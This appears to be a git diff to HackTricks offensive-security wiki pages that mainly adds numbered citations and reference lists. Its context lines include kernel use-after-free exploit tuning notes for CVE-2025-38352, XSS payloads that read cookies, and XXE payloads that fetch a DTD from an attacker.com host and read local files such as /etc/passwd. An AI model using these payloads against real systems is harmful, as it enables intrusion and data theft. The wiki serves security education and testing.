+- **Tested target & configs:** x86_64 v5.10.157 under QEMU (4 cores, 3 GB RAM). Critical options: `CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n`, `CONFIG_PREEMPT=y`, `CONFIG_SLAB_MERGE_DEFAULT=n`, `DEBUG_LIST=n`, `BUG_ON_DATA_CORRUPTION=n`, `LIST_HARDENED=n`.<sup>[[4]](#references)</sup>
 - **Race steering with CPU timers:** A racing thread (`race_func()`) burns CPU while CPU timers fire; `free_func()` polls `SIGUSR1` to confirm if the timer fired. Tune `CPU_USAGE_THRESHOLD` so signals arrive only sometimes (intermittent "Parent raced too late/too early" messages). If timers fire every attempt, lower the threshold; if they never fire before thread exit, raise it.
 - **Dual-process alignment into `send_sigqueue()`:** Parent/child processes try to hit a second race window inside `send_sigqueue()`. The parent sleeps `PARENT_SETTIME_DELAY_US` microseconds before arming timers; adjust downward when you mostly see "Parent raced too late" and upward when you mostly see "Parent raced too early". Seeing both indicates you are straddling the window; success is expected within ~1 minute once tuned.
 - **Cross-cache UAF replacement:** The exploit frees a `struct sigqueue` then grooms allocator state (`sigqueue_crosscache_preallocs()`) so both the dangling `uaf_sigqueue` and the replacement `realloc_sigqueue` land on a pipe buffer data page (cross-cache reallocation). Reliability assumes a quiet kernel with few prior `sigqueue` allocations; if per-CPU/per-node partial slab pages already exist (busy systems), the replacement will miss and the chain fails. The author intentionally left it unoptimized for noisy kernels.
@@ -228,12 +228,12 @@ ksmbd-streams_xattr-oob-write-cve-2025-37947.md
 {{#endref}}
 
 ## References
-- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
-- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
-- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
-- [Chronomaly exploit PoC (CVE-2025-38352)](https://github.com/farazsth98/chronomaly)
-- [CVE-2025-38352 analysis – Part 1](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
-- [CVE-2025-38352 analysis – Part 2](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/)
-- [CVE-2025-38352 analysis – Part 3](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/)
+- [1] [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [2] [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [3] [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+- [4] [Chronomaly exploit PoC (CVE-2025-38352)](https://github.com/farazsth98/chronomaly)
+- [5] [CVE-2025-38352 analysis – Part 1](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
+- [6] [CVE-2025-38352 analysis – Part 2](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/)
+- [7] [CVE-2025-38352 analysis – Part 3](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/)
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/crypto/hashes/README.md b/src/crypto/hashes/README.md
index 1df7ec14c42..28e33139fd3 100644
--- a/src/crypto/hashes/README.md
+++ b/src/crypto/hashes/README.md
@@ -29,11 +29,11 @@ Then you can compute a valid signature for:
 
 `message || padding || appended_data`
 
-without knowing the secret.
+without knowing the secret.<sup>[[1]](#references)</sup>
 
 ### Important limitation: HMAC is not affected
 
-Length extension attacks apply to constructions like `HASH(secret || message)` for Merkle–Damgård hashes. They do not apply to **HMAC** (e.g., HMAC-SHA256), which is specifically designed to avoid this class of problem.
+Length extension attacks apply to constructions like `HASH(secret || message)` for Merkle–Damgård hashes. They do not apply to **HMAC** (e.g., HMAC-SHA256), which is specifically designed to avoid this class of problem.<sup>[[1]](#references)</sup>
 
 ### Tools
 
@@ -76,4 +76,8 @@ https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-lengt
 - Truncated hashes / custom transforms → normalize and retry.
 - Weak KDF parameters (e.g., low PBKDF2 iterations) → still crackable.
 
+## References
+
+- [1] [Everything you need to know about hash length extension attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
index 45674c9954a..159e0ff4afc 100644
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@@ -8,7 +8,7 @@ If a web page is creating a PDF using user controlled input, you can try to **tr
 So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
 
 Please, notice that the `<script></script>` tags don't work always, so you will need a different method to execute JS (for example, abusing `<img` ).\
-Also, note that in a regular exploitation you will be **able to see/download the created pdf**, so you will be able to see everything you **write via JS** (using `document.write()` for example). But, if you **cannot see** the created PDF, you will probably need **extract the information making web request to you** (Blind).
+Also, note that in a regular exploitation you will be **able to see/download the created pdf**, so you will be able to see everything you **write via JS** (using `document.write()` for example). But, if you **cannot see** the created PDF, you will probably need **extract the information making web request to you** (Blind).<sup>[[2]](#references)[[3]](#references)</sup>
 
 ### Popular PDF generation
 
@@ -53,7 +53,7 @@ Also, note that in a regular exploitation you will be **able to see/download the
 
 ### SVG
 
-Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.
+Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.<sup>[[1]](#references)</sup>
 
 ```html
 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
@@ -177,13 +177,13 @@ for(let i=0; i<1000; i++) {
 
 ### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
-This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).
+This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).<sup>[[4]](#references)[[5]](#references)</sup>
 
 ### Attachments: PD4ML
 
 There are some HTML 2 PDF engines that allow to **specify attachments for the PDF**, like **PD4ML**. You can abuse this feature to **attach any local file** to the PDF.\
 To open the attachment I opened the file with **Firefox and double clicked the Paperclip symbol** to **store the attachment** as a new file.\
-Capturing the **PDF response** with burp should also **show the attachment in cleat text** inside the PDF.
+Capturing the **PDF response** with burp should also **show the attachment in cleat text** inside the PDF.<sup>[[6]](#references)</sup>
 
 ```html
 <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
@@ -197,11 +197,12 @@ Capturing the **PDF response** with burp should also **show the attachment in cl
 
 ## References
 
-- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
-- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
-- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
-- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
-- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
+- [1] [Write-up for #h1415's CTF challenge](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
+- [2] [Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
+- [3] [Local File Read via XSS in Dynamically Generated PDF](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
+- [4] [Breaking Down SSRF on PDF Generation: A Pentesting Guide](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
+- [5] [Exploiting PDF generators: A complete guide to finding SSRF vulnerabilities in PDF generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
+- [6] [HTB: Bucket (0xdf)](https://0xdf.gitlab.io/2021/04/24/htb-bucket.html)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
index c0aa6d93cfe..efa790a582e 100644
--- a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.
+This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.<sup>[[1]](#references)</sup>
 
 Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
 
@@ -52,7 +52,7 @@ Exploit pivot: overwrite the HTML template (sink) instead of the sanitized sourc
 - Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.:
   - "<article><p>%.*s</p></article>" → change to "<img src=1      onerror=%.*s>"
 - Locate the stub deterministically by scanning linear memory; it is a plain byte string within Module.HEAPU8.
-- After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields <img src=1 onerror=alert(1337)> and executes immediately in the DOM.
+- After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields <img src=1 onerror=alert(1337)> and executes immediately in the DOM.<sup>[[1]](#references)</sup>
 
 Chrome DevTools workflow (Emscripten glue)
 - Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).
@@ -127,10 +127,10 @@ Defensive guidance
 - Avoid trusting URL-embedded state for privileged flows.
 
 ## References
-- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
-- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
-- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
-- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
-- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
+- [1] [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
+- [2] [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
+- [3] [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
+- [4] [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
+- [5] [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
index 06772930acd..0e0e4de701b 100644
--- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
+++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
@@ -48,7 +48,7 @@ t:prompt(document.cookie))
 
 ### HTML Sanitiser Markdown Bypass
 
-The following code is **sanitising HTML input** and then **passing it to the markdown parser**, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify
+The following code is **sanitising HTML input** and then **passing it to the markdown parser**, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify<sup>[[1]](#references)</sup>
 
 ```html
 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
@@ -176,6 +176,10 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
 ![XSS'"`onerror=prompt(document.cookie)](x)\
 ```
 
+## References
+
+- [1] [Clique Writeup — ångstromCTF 2022](https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e)
+
 {{#include ../../banners/hacktricks-training.md}}
 
 
diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md
index be1114ab202..b714fe61ff2 100644
--- a/src/pentesting-web/xssi-cross-site-script-inclusion.md
+++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md
@@ -20,7 +20,7 @@
 3. **Dynamic JavaScript** - Involves JavaScript that dynamically generates content.
 4. **Non-JavaScript** - Refers to vulnerabilities that do not involve JavaScript directly.
 
-**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
+**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.<sup>[[1]](#references)</sup>
 
 ### Regular XSSI
 
@@ -74,7 +74,7 @@ Array.prototype.slice = function () {
 }
 ```
 
-Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/).
+Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/).<sup>[[2]](#references)</sup>
 
 ### Non-Script-XSSI
 
@@ -97,6 +97,11 @@ Takeshi Terada's research introduces another form of XSSI, where Non-Script file
   charset="UTF-7"></script>
 ```
 
+## References
+
+- [1] [Cross-Site Script Inclusion - A Fameless but Widespread Web Vulnerability Class](https://www.scip.ch/en/?labs.20160414)
+- [2] [Sebastian Lekies - Client-side leak vectors](http://sebastian-lekies.de/leak/)
+
 {{#include ../banners/hacktricks-training.md}}
 
 
diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md
index 768b875e765..6106732288a 100644
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@@ -16,7 +16,7 @@ XML is a markup language designed for data storage and transport, featuring a fl
 
 ## Main attacks
 
-[**Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
+[**Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)<sup>[[8]](#references)</sup>
 
 ### New Entity test
 
@@ -139,7 +139,7 @@ The attacker hosts this malicious DTD on a server under their control, typically
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
 
-This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server.
+This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server.<sup>[[8]](#references)</sup>
 
 ### Error Based(External DTD)
 
@@ -221,11 +221,11 @@ As this technique uses an **internal DTD you need to find a valid one first**. Y
 ]>
 ```
 
-For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
+For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)<sup>[[8]](#references)</sup>
 
 ### Finding DTDs inside the system
 
-In the following awesome github repo you can find **paths of DTDs that can be present in the system**:
+In the following awesome github repo you can find **paths of DTDs that can be present in the system**:<sup>[[9]](#references)</sup>
 
 
 {{#ref}}
@@ -248,7 +248,7 @@ Testing 0 entities : []
 
 ### XXE via Office Open XML Parsers
 
-For a more in depth explanation of this attack, **check the second section of** [**this amazing post**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **from Detectify**.
+For a more in depth explanation of this attack, **check the second section of** [**this amazing post**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **from Detectify**.<sup>[[15]](#references)</sup>
 
 The ability to **upload Microsoft Office documents is offered by many web applications**, which then proceed to extract certain details from these documents. For instance, a web application may allow users to import data by uploading an XLSX format spreadsheet. In order for the parser to extract the data from the spreadsheet, it will inevitably need to parse at least one XML file.
 
@@ -282,7 +282,7 @@ The process behind accessing a file within a PKZIP archive via the jar protocol
 4. The specific file within the archive, `file.zip`, is read.
 5. After the operation, any temporary files created during this process are deleted.
 
-An interesting technique to interrupt this process at the second step involves keeping the server connection open indefinitely when serving the archive file. Tools available at [this repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) can be utilized for this purpose, including a Python server (`slow_http_server.py`) and a Java server (`slowserver.jar`).
+An interesting technique to interrupt this process at the second step involves keeping the server connection open indefinitely when serving the archive file. Tools available at [this repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) can be utilized for this purpose, including a Python server (`slow_http_server.py`) and a Java server (`slowserver.jar`).<sup>[[9]](#references)</sup>
 
 ```xml
 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
@@ -546,7 +546,7 @@ DTD example:
 
 ## XLIFF - XXE
 
-This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
+This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)<sup>[[16]](#references)</sup>
 
 XLIFF (XML Localization Interchange File Format) is utilized to standardize data exchange in localization processes. It's an XML-based format primarily used for transferring localizable data among tools during localization and as a common exchange format for CAT (Computer-Aided Translation) tools.
 
@@ -622,7 +622,7 @@ This modification leads to the successful exfiltration of the file's content, as
 
 ## RSS - XEE
 
-Valid XML with RSS format to exploit an XXE vulnerability.
+Valid XML with RSS format to exploit an XXE vulnerability.<sup>[[4]](#references)</sup>
 
 ### Ping back
 
@@ -767,7 +767,7 @@ XMLDecoder is a Java class that creates objects based on a XML message. If a mal
 
 ## XXE + WrapWrap + Lightyear + bypasses
 
-Take a look to this amazing report [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
+Take a look to this amazing report [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)<sup>[[17]](#references)</sup>
 
 ## Tools
 
@@ -788,7 +788,7 @@ https://github.com/luisfontes19/xxexploiter
    * Redefines the undefined entity so that it:
      - Reads the target file (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
      - Builds another parameter entity that refers to an **invalid path** containing the `%flag;` value and triggers a parser error (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
-3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application.
+3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application.<sup>[[10]](#references)[[11]](#references)</sup>
 
 ```xml
 <!DOCTYPE colors [
@@ -812,7 +812,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 `lxml` ≥ 5.4.0 forbids *error* parameter entities like the one above, but **libxml2** still allows them to be embedded in a *general* entity.  The trick is to:
 1. Read the file into a parameter entity `%file`.
 2. Declare another parameter entity that builds a **general** entity `c` whose SYSTEM identifier uses a *non-existent protocol* such as `meow://%file;`.
-3. Place `&c;` in the XML body.  When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message.
+3. Place `&c;` in the XML body.  When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message.<sup>[[11]](#references)</sup>
 
 ```xml
 <!DOCTYPE colors [
@@ -868,11 +868,11 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
 
 If the application must support DTDs internally, keep `disallow-doctype-decl` disabled but **always** leave the two `external-*-entities` features set to `false`.  The combination prevents classical file-disclosure payloads (`file:///etc/passwd`) as well as network-based SSRF vectors (`http://169.254.169.254/…`, `jar:` protocol, etc.).
 
-Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above.  An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response.
+Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above.  An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response.<sup>[[1]](#references)</sup>
 
 ### XXE in JMF/Print Orchestration Services → SSRF
 
-Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources.
+Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources.<sup>[[12]](#references)</sup>
 
 Key points observed in the wild:
 - Network listener (e.g., JMF client) on a dedicated port (commonly 4004 in Xerox FreeFlow Core).
@@ -900,21 +900,22 @@ References for this vector are listed at the end of the page.
 
 ## References
 
-- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
-
-- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
-- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
-- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
-- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
-- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
-- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
-- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
-
-- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
-- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
-- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
-- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
-- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
+- [1] [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
+- [2] [XML data and attacks - Osipov - Black Hat EU 2013](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
+- [3] [XXE cheat sheet - web-in-security](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
+- [4] [From RSS to XXE - feed parsing on Hootsuite](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
+- [5] [PayloadsAllTheThings - XXE injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
+- [6] [staaldraad - XXE payloads gist](https://gist.github.com/staaldraad/01415b990939494879b4)
+- [7] [Exploiting XML External Entity (XXE) Injections - onehackman](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
+- [8] [PortSwigger - XML external entity (XXE) injection](https://portswigger.net/web-security/xxe)
+- [9] [GoSecure - XXE workshop](https://gosecure.github.io/xxe-workshop/#7)
+- [10] [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
+- [11] [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
+- [12] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
+- [13] [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
+- [14] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
+- [15] [Obscure XXE attacks - Detectify Labs](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)
+- [16] [Local file read via error-based XXE - pwn.vg](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
+- [17] [Impossible XXE in PHP - PT Swarm](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md
index afb35f75285..5e1d3cdd386 100644
--- a/src/reversing/reversing-tools-basic-methods/README.md
+++ b/src/reversing/reversing-tools-basic-methods/README.md
@@ -259,7 +259,7 @@ If you simplify this kind of expression with generic algebra tooling you can eas
 
 ### CoBRA
 
-[**CoBRA**](https://github.com/trailofbits/CoBRA) is a practical MBA simplifier for malware analysis and protected-binary reversing. It classifies the expression and routes it through specialized pipelines instead of applying one generic rewrite pass to everything.
+[**CoBRA**](https://github.com/trailofbits/CoBRA) is a practical MBA simplifier for malware analysis and protected-binary reversing. It classifies the expression and routes it through specialized pipelines instead of applying one generic rewrite pass to everything.<sup>[[1]](#references)[[2]](#references)</sup>
 
 Quick usage:
 
@@ -337,7 +337,7 @@ Having the **name** of the **functions** being called, search for them on the **
 
 ### Recovering Rust strings from ELF firmware
 
-In **Rust ELF** binaries, many static strings are not referenced as C-style NUL-terminated pointers. A common `rustc` layout is a **pointer/length tuple** inside **`.data.rel.ro`** pointing into the real string blob stored in **`.rodata`**:
+In **Rust ELF** binaries, many static strings are not referenced as C-style NUL-terminated pointers. A common `rustc` layout is a **pointer/length tuple** inside **`.data.rel.ro`** pointing into the real string blob stored in **`.rodata`**:<sup>[[3]](#references)</sup>
 
 ```text
 [8-byte little-endian pointer][8-byte little-endian length]
@@ -372,7 +372,7 @@ for off in range(0, len(data_rel_ro), 8):
 
 This is especially useful in firmware reversing because recovered Rust strings often reveal **HTTP routes, RPC names, log messages, assertions, filenames, config keys, command handlers, and auth-related logic**.
 
-If Ghidra misses those strings, run a custom script/plugin that applies the same heuristic and creates string data at the referenced `.rodata` offsets. The published `rust-strings` and `RustStrings.py` tools from Pen Test Partners are good references for adapting the idea to other **word sizes, endianness, and section layouts**.
